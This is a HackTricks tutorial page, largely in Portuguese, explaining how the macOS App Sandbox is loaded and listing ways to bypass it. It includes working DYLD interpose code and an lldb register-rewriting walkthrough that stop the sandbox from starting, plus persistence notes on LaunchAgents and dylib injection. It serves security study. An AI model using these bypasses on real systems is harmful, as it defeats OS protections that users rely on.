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# macOS Sandbox Debug & Bypass
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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{% endhint %}
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## Sandbox loading process
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<figure><img src="../../../../../.gitbook/assets/image (901).png" alt=""><figcaption><p>Imagem de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
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Na imagem anterior, é possível observar **como o sandbox será carregado** quando um aplicativo com a permissão **`com.apple.security.app-sandbox`** é executado.
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O compilador irá vincular `/usr/lib/libSystem.B.dylib` ao binário.
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Então, **`libSystem.B`** chamará várias outras funções até que o **`xpc_pipe_routine`** envie as permissões do aplicativo para **`securityd`**. O securityd verifica se o processo deve ser colocado em quarentena dentro do Sandbox e, se sim, ele será colocado em quarentena.\
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Finalmente, o sandbox será ativado com uma chamada para **`__sandbox_ms`** que chamará **`__mac_syscall`**.
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## Possible Bypasses
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### Bypassing quarantine attribute
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**Arquivos criados por processos em sandbox** recebem o **atributo de quarentena** para evitar a fuga do sandbox. No entanto, se você conseguir **criar uma pasta `.app` sem o atributo de quarentena** dentro de um aplicativo em sandbox, você poderá fazer o binário do pacote do aplicativo apontar para **`/bin/bash`** e adicionar algumas variáveis de ambiente no **plist** para abusar do **`open`** para **iniciar o novo aplicativo sem sandbox**.
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Isso foi o que foi feito em [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
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{% hint style="danger" %}
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Portanto, no momento, se você for capaz de criar uma pasta com um nome terminando em **`.app`** sem um atributo de quarentena, você pode escapar do sandbox porque o macOS apenas **verifica** o **atributo de quarentena** na **pasta `.app`** e no **executável principal** (e nós apontaremos o executável principal para **`/bin/bash`**).
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Observe que se um pacote .app já foi autorizado a ser executado (ele tem um xttr de quarentena com a flag de autorizado a executar ativada), você também poderia abusar disso... exceto que agora você não pode escrever dentro de pacotes **`.app`** a menos que tenha algumas permissões TCC privilegiadas (que você não terá dentro de um sandbox alto).
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{% endhint %}
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### Abusing Open functionality
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Nos [**últimos exemplos de bypass do sandbox do Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) pode-se apreciar como a funcionalidade cli **`open`** poderia ser abusada para contornar o sandbox.
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{% content-ref url="macos-office-sandbox-bypasses.md" %}
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[macos-office-sandbox-bypasses.md](macos-office-sandbox-bypasses.md)
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{% endcontent-ref %}
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### Launch Agents/Daemons
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Mesmo que um aplicativo seja **destinado a ser sandboxed** (`com.apple.security.app-sandbox`), é possível contornar o sandbox se ele for **executado a partir de um LaunchAgent** (`~/Library/LaunchAgents`), por exemplo.\
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Como explicado [**neste post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se você quiser obter persistência com um aplicativo que está em sandbox, você poderia fazê-lo ser executado automaticamente como um LaunchAgent e talvez injetar código malicioso via variáveis de ambiente DyLib.
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### Abusing Auto Start Locations
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Se um processo em sandbox puder **escrever** em um lugar onde **mais tarde um aplicativo sem sandbox vai executar o binário**, ele poderá **escapar apenas colocando** lá o binário. Um bom exemplo desse tipo de locais são `~/Library/LaunchAgents` ou `/System/Library/LaunchDaemons`.
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Para isso, você pode precisar até de **2 etapas**: Fazer um processo com um **sandbox mais permissivo** (`file-read*`, `file-write*`) executar seu código que realmente escreverá em um lugar onde será **executado sem sandbox**.
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Verifique esta página sobre **locais de início automático**:
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{% content-ref url="../../../../macos-auto-start-locations.md" %}
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|
[macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
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{% endcontent-ref %}
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### Abusing other processes
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Se a partir do processo em sandbox você conseguir **comprometer outros processos** que estão rodando em sandboxes menos restritivas (ou nenhuma), você poderá escapar para os sandboxes deles:
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{% content-ref url="../../../macos-proces-abuse/" %}
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[macos-proces-abuse](../../../macos-proces-abuse/)
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{% endcontent-ref %}
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### Static Compiling & Dynamically linking
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[**Esta pesquisa**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descobriu 2 maneiras de contornar o Sandbox. Porque o sandbox é aplicado a partir do userland quando a biblioteca **libSystem** é carregada. Se um binário puder evitar carregá-la, ele nunca será sandboxed:
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* Se o binário for **completamente compilado estaticamente**, ele poderá evitar carregar essa biblioteca.
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* Se o **binário não precisar carregar nenhuma biblioteca** (porque o linker também está em libSystem), ele não precisará carregar libSystem.
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### Shellcodes
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Observe que **mesmo shellcodes** em ARM64 precisam ser vinculados em `libSystem.dylib`:
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```bash
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ld -o shell shell.o -macosx_version_min 13.0
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ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
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```
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### Entitlements
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Note que mesmo que algumas **ações** possam ser **permitidas pelo sandbox** se um aplicativo tiver uma **entitlement** específica, como em:
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```scheme
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(when (entitlement "com.apple.security.network.client")
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(allow network-outbound (remote ip))
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(allow mach-lookup
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(global-name "com.apple.airportd")
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(global-name "com.apple.cfnetwork.AuthBrokerAgent")
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(global-name "com.apple.cfnetwork.cfnetworkagent")
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[...]
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```
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### Interposting Bypass
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Para mais informações sobre **Interposting**, consulte:
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{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %}
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[macos-function-hooking.md](../../../macos-proces-abuse/macos-function-hooking.md)
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|
{% endcontent-ref %}
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#### Interposte `_libsecinit_initializer` para prevenir o sandbox
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```c
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// gcc -dynamiclib interpose.c -o interpose.dylib
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#include <stdio.h>
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void _libsecinit_initializer(void);
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void overriden__libsecinit_initializer(void) {
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printf("_libsecinit_initializer called\n");
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}
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__attribute__((used, section("__DATA,__interpose"))) static struct {
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void (*overriden__libsecinit_initializer)(void);
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void (*_libsecinit_initializer)(void);
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}
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_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
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```
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```bash
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|
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
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|
_libsecinit_initializer called
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Sandbox Bypassed!
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```
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#### Interpor `__mac_syscall` para prevenir o Sandbox
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{% code title="interpose.c" %}
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```c
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// gcc -dynamiclib interpose.c -o interpose.dylib
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|
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|
#include <stdio.h>
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|
#include <string.h>
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|
// Forward Declaration
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int __mac_syscall(const char *_policyname, int _call, void *_arg);
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|
// Replacement function
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|
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
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|
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
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|
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
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|
printf("Bypassing Sandbox initiation.\n");
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|
return 0; // pretend we did the job without actually calling __mac_syscall
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|
}
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// Call the original function for other cases
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|
return __mac_syscall(_policyname, _call, _arg);
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|
}
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// Interpose Definition
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struct interpose_sym {
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|
const void *replacement;
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|
const void *original;
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|
};
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|
// Interpose __mac_syscall with my_mac_syscall
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|
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
|
|
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
|
|
};
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|
```
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|
{% endcode %}
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|
```bash
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|
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
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|
|
|
__mac_syscall invoked. Policy: Sandbox, Call: 2
|
|
__mac_syscall invoked. Policy: Sandbox, Call: 2
|
|
__mac_syscall invoked. Policy: Sandbox, Call: 0
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|
Bypassing Sandbox initiation.
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__mac_syscall invoked. Policy: Quarantine, Call: 87
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__mac_syscall invoked. Policy: Sandbox, Call: 4
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|
Sandbox Bypassed!
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```
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### Depurar e contornar o Sandbox com lldb
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Vamos compilar um aplicativo que deve ser isolado:
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{% tabs %}
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{% tab title="sand.c" %}
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```c
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#include <stdlib.h>
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int main() {
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system("cat ~/Desktop/del.txt");
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}
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```
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{% endtab %}
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{% tab title="entitlements.xml" %}
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```xml
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
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<dict>
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<key>com.apple.security.app-sandbox</key>
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<true/>
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</dict>
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</plist>
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|
```
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|
{% endtab %}
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{% tab title="Info.plist" %}
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```xml
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|
<plist version="1.0">
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|
<dict>
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|
<key>CFBundleIdentifier</key>
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|
<string>xyz.hacktricks.sandbox</string>
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|
<key>CFBundleName</key>
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|
<string>Sandbox</string>
|
|
</dict>
|
|
</plist>
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|
```
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|
{% endtab %}
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|
{% endtabs %}
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Então compile o aplicativo:
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{% code overflow="wrap" %}
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```bash
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# Compile it
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gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
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# Create a certificate for "Code Signing"
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# Apply the entitlements via signing
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codesign -s <cert-name> --entitlements entitlements.xml sand
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```
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{% endcode %}
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{% hint style="danger" %}
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O aplicativo tentará **ler** o arquivo **`~/Desktop/del.txt`**, que o **Sandbox não permitirá**.\
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Crie um arquivo lá, pois uma vez que o Sandbox for contornado, ele poderá lê-lo:
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```bash
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|
echo "Sandbox Bypassed" > ~/Desktop/del.txt
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```
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{% endhint %}
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Vamos depurar o aplicativo para ver quando o Sandbox é carregado:
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```bash
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# Load app in debugging
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lldb ./sand
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# Set breakpoint in xpc_pipe_routine
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(lldb) b xpc_pipe_routine
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# run
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(lldb) r
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# This breakpoint is reached by different functionalities
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# Check in the backtrace is it was de sandbox one the one that reached it
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# We are looking for the one libsecinit from libSystem.B, like the following one:
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(lldb) bt
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* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
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* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
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frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
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frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
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frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
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frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
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# To avoid lldb cutting info
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(lldb) settings set target.max-string-summary-length 10000
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# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
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(lldb) p (char *) xpc_copy_description($x1)
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(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
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|
# The 3 arg is the address were the XPC response will be stored
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(lldb) register read x2
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x2 = 0x000000016fdfd660
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# Move until the end of the function
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(lldb) finish
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# Read the response
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## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
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(lldb) memory read -f p 0x000000016fdfd660 -c 1
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0x16fdfd660: 0x0000600003d04000
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|
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
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|
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
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|
# To bypass the sandbox we need to skip the call to __mac_syscall
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# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
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(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
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(lldb) c
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# The 1 arg is the name of the policy, in this case "Sandbox"
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(lldb) memory read -f s $x0
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0x19300eb22: "Sandbox"
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#
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# BYPASS
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#
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# Due to the previous bp, the process will be stopped in:
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Process 2517 stopped
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* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
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frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
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|
libsystem_kernel.dylib`:
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-> 0x187659900 <+0>: mov x16, #0x17d
|
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0x187659904 <+4>: svc #0x80
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0x187659908 <+8>: b.lo 0x187659928 ; <+40>
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0x18765990c <+12>: pacibsp
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# To bypass jump to the b.lo address modifying some registers first
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(lldb) breakpoint delete 1 # Remove bp
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(lldb) register write $pc 0x187659928 #b.lo address
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|
(lldb) register write $x0 0x00
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|
(lldb) register write $x1 0x00
|
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(lldb) register write $x16 0x17d
|
|
(lldb) c
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Process 2517 resuming
|
|
Sandbox Bypassed!
|
|
Process 2517 exited with status = 0 (0x00000000)
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|
```
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{% hint style="warning" %}
|
|
**Mesmo com o Sandbox contornado, o TCC** perguntará ao usuário se ele deseja permitir que o processo leia arquivos da área de trabalho
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{% endhint %}
|
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|
## Referências
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|
* [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
|
|
* [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
|
|
* [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
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<details>
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|
<summary>Support HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
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|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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</details>
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{% endhint %}
|
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</details>
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{% endhint %}
|